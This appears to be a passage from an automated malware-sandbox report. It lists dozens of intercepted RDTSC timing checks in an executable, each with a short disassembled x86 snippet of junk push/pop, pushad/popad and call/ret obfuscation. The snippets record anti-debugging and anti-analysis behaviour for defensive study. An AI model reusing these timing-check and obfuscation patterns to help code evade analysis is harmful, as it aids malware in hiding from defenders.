Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7C88 second address: 12E7CD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F148D202218h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jmp 00007F148D20221Bh 0x00000029 mov esi, dword ptr [ebp+122D387Ch] 0x0000002f xchg eax, ebx 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jbe 00007F148D202216h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8A73 second address: 12E8A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8A77 second address: 12E8A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA733 second address: 12EA737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED26B second address: 12ED271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED271 second address: 12ED275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED275 second address: 12ED2A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202222h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F148D20221Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED2A0 second address: 12ED2A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED2A6 second address: 12ED2AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED2AC second address: 12ED2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED2B0 second address: 12ED2F9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F148D202218h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 cld 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D1A28h], eax 0x00000030 push 00000000h 0x00000032 mov esi, 20E001CDh 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F148D20221Ch 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F019C second address: 12F01A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF2CA second address: 12EF2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF2D7 second address: 12EF2DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF2DB second address: 12EF2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F03A5 second address: 12F03A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF2E1 second address: 12EF2E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F03A9 second address: 12F03BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F206D second address: 12F2071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1271 second address: 12F1275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1275 second address: 12F128A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D20221Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2122 second address: 12F213B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F148D354EBDh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F128A second address: 12F128E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F128E second address: 12F1298 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3164 second address: 12F31F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F148D202216h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F148D20221Bh 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 mov edi, dword ptr [ebp+122D285Bh] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F148D202218h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a pushad 0x0000003b mov ecx, dword ptr [ebp+122D24F7h] 0x00000041 push edi 0x00000042 mov dword ptr [ebp+122D1AD7h], edx 0x00000048 pop edx 0x00000049 popad 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007F148D202218h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 0000001Bh 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F148D202228h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4339 second address: 12F433D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F433D second address: 12F4343 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F33A0 second address: 12F33A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4438 second address: 12F443C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F443C second address: 12F4442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F66D4 second address: 12F66F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F148D202216h 0x00000009 jmp 00007F148D20221Fh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F66F4 second address: 12F66FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5463 second address: 12F5467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5467 second address: 12F547F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F148D354EBAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5574 second address: 12F5578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5578 second address: 12F557E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F557E second address: 12F5588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F148D202216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F765A second address: 12F765E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F765E second address: 12F7664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7664 second address: 12F7669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7669 second address: 12F76B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007F148D202224h 0x00000010 nop 0x00000011 jmp 00007F148D202224h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b mov dword ptr [ebp+122D1BDBh], edi 0x00000021 pop ebx 0x00000022 xchg eax, esi 0x00000023 je 00007F148D20221Eh 0x00000029 push edi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F76B2 second address: 12F76BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F688F second address: 12F689B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007F148D202216h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F689B second address: 12F68AC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F68AC second address: 12F68B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F68B0 second address: 12F68D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F148D354EC2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F68D7 second address: 12F68DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F864A second address: 12F8650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8650 second address: 12F86C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F148D202220h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F148D202218h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 add bl, 00000032h 0x00000029 push eax 0x0000002a mov bh, 8Ah 0x0000002c pop edi 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F148D202218h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 clc 0x0000004a mov ebx, dword ptr [ebp+122D2704h] 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D18A7h], edi 0x00000058 push eax 0x00000059 pushad 0x0000005a push edi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9699 second address: 12F96B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D354EC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F96B1 second address: 12F96BF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F96BF second address: 12F96C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F96C4 second address: 12F9725 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F148D202218h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b js 00007F148D20221Eh 0x00000011 jo 00007F148D202218h 0x00000017 pushad 0x00000018 popad 0x00000019 push 00000000h 0x0000001b mov ebx, dword ptr [ebp+122D3884h] 0x00000021 push 00000000h 0x00000023 pushad 0x00000024 je 00007F148D202219h 0x0000002a mov ax, si 0x0000002d jo 00007F148D20221Ch 0x00000033 mov edx, dword ptr [ebp+12448F4Fh] 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jmp 00007F148D202222h 0x00000043 jmp 00007F148D20221Eh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9725 second address: 12F972A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB9AE second address: 12FB9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F148D202227h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB9CC second address: 12FB9D8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148D354EB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FB9D8 second address: 12FB9EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D20221Ch 0x00000009 jng 00007F148D202216h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8820 second address: 12F8824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8824 second address: 12F882A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F98DF second address: 12F98E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F98E3 second address: 12F98E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FCFEA second address: 12FD011 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnp 00007F148D354EB6h 0x00000014 jmp 00007F148D354EC2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD011 second address: 12FD016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F98E7 second address: 12F998C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F148D354EC4h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 adc bh, 00000018h 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F148D354EB8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov bh, ah 0x0000003c mov eax, dword ptr [ebp+122D08CDh] 0x00000042 mov di, bx 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F148D354EB8h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 0000001Dh 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 mov dword ptr [ebp+122D2463h], ecx 0x00000067 nop 0x00000068 jmp 00007F148D354EC6h 0x0000006d push eax 0x0000006e push ecx 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F998C second address: 12F9990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE0C4 second address: 12FE140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jl 00007F148D354EB8h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F148D354EB8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f or edi, dword ptr [ebp+12448F69h] 0x00000035 push 00000000h 0x00000037 jmp 00007F148D354EC2h 0x0000003c push 00000000h 0x0000003e mov ebx, dword ptr [ebp+122D2E6Bh] 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 jmp 00007F148D354EC3h 0x0000004d push edi 0x0000004e pop edi 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE140 second address: 12FE150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF187 second address: 12FF18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF18B second address: 12FF191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF191 second address: 12FF196 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13000F3 second address: 1300116 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F148D202228h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300116 second address: 130011A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130011A second address: 1300128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F148D202216h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF3DA second address: 12FF3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5C3D second address: 12A5C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5C41 second address: 12A5C4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5C4D second address: 12A5C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5C53 second address: 12A5C6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5C6B second address: 12A5C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13003BE second address: 13003C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A920B second address: 12A9217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F148D202216h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9217 second address: 12A921B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130E39E second address: 130E3A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311CD4 second address: 1311CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311CD9 second address: 1311CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311CDF second address: 1311CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311E78 second address: 1311E7E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311E7E second address: 1311E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D354EC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311E95 second address: 1311E99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
